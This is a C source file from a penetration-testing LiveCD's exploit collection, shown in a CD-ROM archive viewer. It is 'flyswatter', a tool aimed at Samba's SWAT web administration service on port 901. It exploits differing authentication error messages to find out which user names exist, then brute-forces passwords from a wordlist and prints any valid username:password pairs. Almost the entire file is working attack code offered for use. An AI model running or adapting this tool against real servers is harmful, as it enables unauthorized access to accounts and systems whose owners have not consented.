home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / samba / flyswatter.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  354 lines

  1. /*
  2.  
  3.     Flyswatter.
  4.  
  5.     I must say, SWAT code is pretty ghetto.
  6.     they 'protect against crackers' by 
  7.     sending bad auth errors if your user 
  8.     donesnt exist oh wait oops they forgot
  9.     to have the same message if the user does
  10.     exist but you the wrong password. I 
  11.     guess they kina missed the boat.
  12.  
  13.     Anyway, it works. 
  14.  
  15.     Yeah, the base64_encode() is pretty
  16.     damn ghetto. Oh well, at least its
  17.     readable.
  18.  
  19.     Miah rules. Thanx for the ideas on this
  20.  
  21.     -dodeca-T
  22.     t12@uberhax0r.net
  23.  
  24.     PS: If you have ant problems, I'd
  25.     say your best bet is to live in harmony
  26.     with the little creatures. Remeber, 
  27.     they just clean up after your messes.
  28.  
  29. */
  30.  
  31. #include <stdio.h>
  32. #include <netdb.h>
  33. #include <stdlib.h>
  34. #include <string.h>
  35. #include <sys/socket.h>
  36. #include <sys/types.h>
  37. #include <netinet/in.h>
  38. #include <arpa/inet.h>
  39. #include <signal.h>
  40. #include <errno.h>
  41. #include <fcntl.h>
  42.  
  43. #define SWAT_PORT 901
  44. #define MAX_NAME_SIZE 16
  45. #define MAX_PASS_SIZE 16
  46. #define CHECK_PASSWORD "centerfield"
  47. #define USER_AGENT "super-hyper-alpha-pickle-2000"
  48.  
  49. struct VALID_NAMES  {
  50.                      char *name;
  51.                      struct VALID_NAMES *next;
  52.                     };
  53.  
  54. struct VALID_NAMES *add_to_names(struct VALID_NAMES *list, char *name)
  55. {
  56.  list->name=(char *)malloc(MAX_NAME_SIZE);   
  57.  memcpy(list->name, name, MAX_NAME_SIZE);
  58.  list->next=(struct VALID_NAMES *)malloc(sizeof(struct VALID_NAMES));
  59.  list=list->next;
  60.  memset(list, 0, sizeof(struct VALID_NAMES));
  61.  return(list);
  62. }
  63.  
  64. void chop(char *str)
  65. {
  66.  int x;
  67.  
  68.  for(x=0;str[x]!='\0';x++)
  69.      if(str[x]=='\n')
  70.         {
  71.          str[x]='\0';
  72.          return;
  73.         }
  74.  return;
  75. }
  76.         
  77. char *base64_encode(char *str)
  78. {
  79.  char *b64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  80.  
  81.  int x, y;
  82.  unsigned char *output;
  83.  
  84.  output=(char *)malloc(strlen(str)*2);
  85.  memset(output, 0, strlen(str)*2);
  86.  
  87.  for(x=0, y=0;x<strlen(str)-(strlen(str)%3) ;x+=3, y+=4)
  88.     {
  89.       output[y] = str[x] >> 2; 
  90.  
  91.      output[y+1] = str[x] << 6;
  92.       output[y+1] = output[y+1] >> 2;
  93.      output[y+1] = output[y+1] | (str[x+1] >> 4);
  94.  
  95.      output[y+2] = str[x+1] << 4; 
  96.      output[y+2] = output[y+2] >> 2; 
  97.      output[y+2] = output[y+2] | (str[x+2] >> 6);
  98.  
  99.      output[y+3] = str[x+2] << 2;
  100.      output[y+3] = output[y+3] >> 2;
  101.     }
  102.  
  103.  if(strlen(str)%3 == 1)
  104.     {
  105.      output[y]=str[x] >> 2;
  106.      output[y+1]=str[x] << 6;
  107.      output[y+1]=output[y+1] >> 2;
  108.      output[y+2]=64;
  109.      output[y+3]=64;
  110.     }
  111.  
  112.  if(strlen(str)%3 == 2)
  113.     {
  114.      output[y]=str[x] >> 2;
  115.      output[y+1]=str[x] << 6;
  116.      output[y+1]=output[y+1] >> 2;
  117.      output[y+1]=output[y+1] | (str[x+1] >> 4);
  118.      output[y+2]=str[x+1] << 4;
  119.      output[y+2]=output[y+2] >> 2;
  120.      output[y+3]=64;
  121.     }
  122.  
  123.  for(x=0 ; output[x] != 0 ; x++)
  124.      output[x] = b64[output[x]]; 
  125.  
  126.  output[x+1]='\0';
  127.  return(output);
  128. }
  129.  
  130. int check_user(char *name, char *pass, struct hostent *he)
  131. {
  132.  char buf[8192]="";
  133.  char buf2[1024]="";
  134.  int s;
  135.  struct sockaddr_in s_addr;
  136.  
  137.  memset(buf, 0, sizeof(buf));
  138.  memset(buf2, 0, sizeof(buf2));
  139.  
  140.  s_addr.sin_family = PF_INET;
  141.  s_addr.sin_port = htons(SWAT_PORT);
  142.  memcpy((char *) &s_addr.sin_addr, (char *) he->h_addr,
  143.         sizeof(s_addr.sin_addr));
  144.  
  145.  if((s=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
  146.     {
  147.      fprintf(stderr, "cannot create socket\n");
  148.      exit(-1);
  149.     }
  150.  
  151.  if(connect(s, (struct sockaddr *) &s_addr, sizeof(s_addr))==-1)
  152.     {
  153.      fprintf(stderr, "cannot connect\n");
  154.      exit(-1);
  155.     }
  156.  
  157.  chop(name);
  158.  chop(pass);
  159.  sprintf(buf2, "%s:%s", name, pass);
  160.  sprintf(buf, "GET / HTTP/1.0\n"
  161.               "Connection: Keep-Alive\n"
  162.               "User-Agent: %s\n"
  163.               "Authorization: Basic %s\n\n", USER_AGENT, base64_encode(buf2));
  164.  
  165.  if(send(s, buf, strlen(buf), 0) < 1)
  166.     {
  167.      perror("send: ");
  168.      exit(1);
  169.     }
  170.  
  171.  memset(buf, 0, sizeof(buf));
  172.  if(recv(s, buf, sizeof(buf), 0) < 1)
  173.     {
  174.      perror("recv: ");
  175.      exit(1);
  176.     }
  177.  
  178.  buf[sizeof(buf)]='\0';
  179.  
  180.  if(strstr(buf, "HTTP/1.0 401 Authorization Required") != NULL)
  181.     {
  182.      close(s);
  183.      return 1;
  184.     }
  185.  else if(strstr(buf, "HTTP/1.0 401 Bad Authorization") != NULL)
  186.     {
  187.      close(s);
  188.      return 0;
  189.     }
  190.  else if(strstr(buf, "HTTP/1.0 200 OK") != NULL)
  191.     {
  192.      close(s);
  193.      return 2;
  194.     }
  195.  else
  196.     {
  197.      printf("Unknown result: %s\n", buf);
  198.      exit(1);
  199.     }
  200. }
  201.  
  202. void usage(void)
  203. {
  204.  printf("\nUsage: flyswatter [-a] -t <target> -n <namefile> -p <passwordfile>\n");
  205.  printf("\n\t-a: Do not verify that users exist.\n");
  206.  exit(1);
  207. }
  208.  
  209. int main(int argc, char** argv)
  210. {
  211.  int x, y, z;
  212.  
  213.  int s;
  214.  char buf[MAX_NAME_SIZE]="";
  215.  FILE *pfile, *nfile;
  216.  struct hostent *he;
  217.  struct VALID_NAMES *valid_names;
  218.  struct VALID_NAMES *list_walk;
  219.  
  220.  int tryall=0;
  221.  char target[1024]="";
  222.  char namefile[512]="";
  223.  char passwordfile[512]="";
  224.  
  225.  valid_names=(struct VALID_NAMES *)malloc(sizeof(struct VALID_NAMES));
  226.  list_walk=valid_names;
  227.  memset(valid_names, 0, sizeof(struct VALID_NAMES));
  228.  
  229.  if(argc<2)
  230.      usage();
  231.  
  232.  for(x=1;x<argc;x++)
  233.     {
  234.      if(argv[x][0]=='-')
  235.          for(y=1;y<strlen(argv[x]);y++) 
  236.              switch(argv[x][y])
  237.                 {
  238.                  case 'a':
  239.                     tryall=1;
  240.                     break;
  241.                  case 'h':
  242.                     usage();
  243.                     break;
  244.                  case 't':
  245.                     if(x+1<argc)
  246.                          strncpy(target, argv[x+1], sizeof(target));
  247.                     else
  248.                         {
  249.                          fprintf(stderr, "Must Specify target\n");
  250.                          exit(1);
  251.                         }
  252.                      break;
  253.                   case 'n':
  254.                     if(x+1<argc)
  255.                         strncpy(namefile, argv[x+1], sizeof(namefile));
  256.                     else
  257.                         {
  258.                          fprintf(stderr, "Must Specify namefile\n");
  259.                          exit(1);
  260.                         }
  261.                     break;
  262.                  case 'p':
  263.                     if(x+1<argc)
  264.                         strncpy(passwordfile, argv[x+1], sizeof(passwordfile));
  265.                     else
  266.                         {
  267.                          fprintf(stderr, "Must Specify passwordfile\n");
  268.                          exit(1);
  269.                         }
  270.                     break;
  271.                  default:
  272.                     fprintf(stderr, "Invalid option\n");
  273.                     exit(1);
  274.                     break;
  275.                 }    
  276.     }
  277.  
  278.  if(strncmp(target, "", sizeof(target))==0)
  279.     {
  280.      fprintf(stderr, "Must specify target\n");
  281.      exit(1);
  282.     }
  283.  
  284.  if(strncmp(namefile, "", sizeof(target))==0)
  285.     {
  286.      fprintf(stderr, "Must specify namefile\n");
  287.      exit(1);
  288.     }
  289.  
  290.  if((nfile=fopen(namefile, "r"))==NULL)
  291.     {
  292.      fprintf(stderr, "Cannot open %s\n", namefile);
  293.      exit(1);
  294.     }
  295.  
  296.  if(strcmp(passwordfile, "")!=0)
  297.     if((pfile=fopen(passwordfile, "r"))==NULL)
  298.     {
  299.      fprintf(stderr, "Cannot open %s\n", passwordfile);
  300.      exit(1);
  301.     } 
  302.  
  303.  printf("\n");
  304.  if(tryall==1)
  305.     printf("-Not verifying usenames\n");
  306.  printf("-Namefile: %s\n", namefile);
  307.  printf("-Passwordfile: %s\n", passwordfile);
  308.  printf("-Target: %s\n", target);
  309.  
  310.  if((he=gethostbyname(target)) == NULL)
  311.     {
  312.      fprintf(stderr, "\t*Invalid target\n");
  313.      usage();
  314.     }
  315.  
  316.  if(tryall==0)
  317.      while(fgets(buf, sizeof(buf), nfile))
  318.         {
  319.           chop(buf);
  320.           if(check_user(buf, CHECK_PASSWORD, he) == 1)
  321.             {
  322.                 printf("User \"%s\" exists!\n", buf);
  323.                 list_walk=add_to_names(list_walk, buf);
  324.             }
  325.          }
  326.  else
  327.      while(fgets(buf, sizeof(buf), nfile))
  328.         {
  329.          chop(buf);
  330.          list_walk=add_to_names(list_walk, buf);
  331.         }
  332.  
  333.  if(strcmp(passwordfile, "")==0)
  334.     {
  335.      exit(0);
  336.      printf("Finished.\n");
  337.     }
  338.  
  339.  while(valid_names->next != 0)
  340.     {
  341.      fseek(pfile, 0, SEEK_SET);
  342.      while(fgets(buf, sizeof(buf), pfile)!=NULL)
  343.         {
  344.          if(check_user(valid_names->name, buf, he)==2)
  345.             printf("valid username/password: %s:%s\n", 
  346.                    valid_names->name, buf);
  347.         }
  348.      valid_names=valid_names->next; 
  349.     }
  350.  
  351.  printf("Finished.\n");
  352.  exit(0);
  353. }
  354.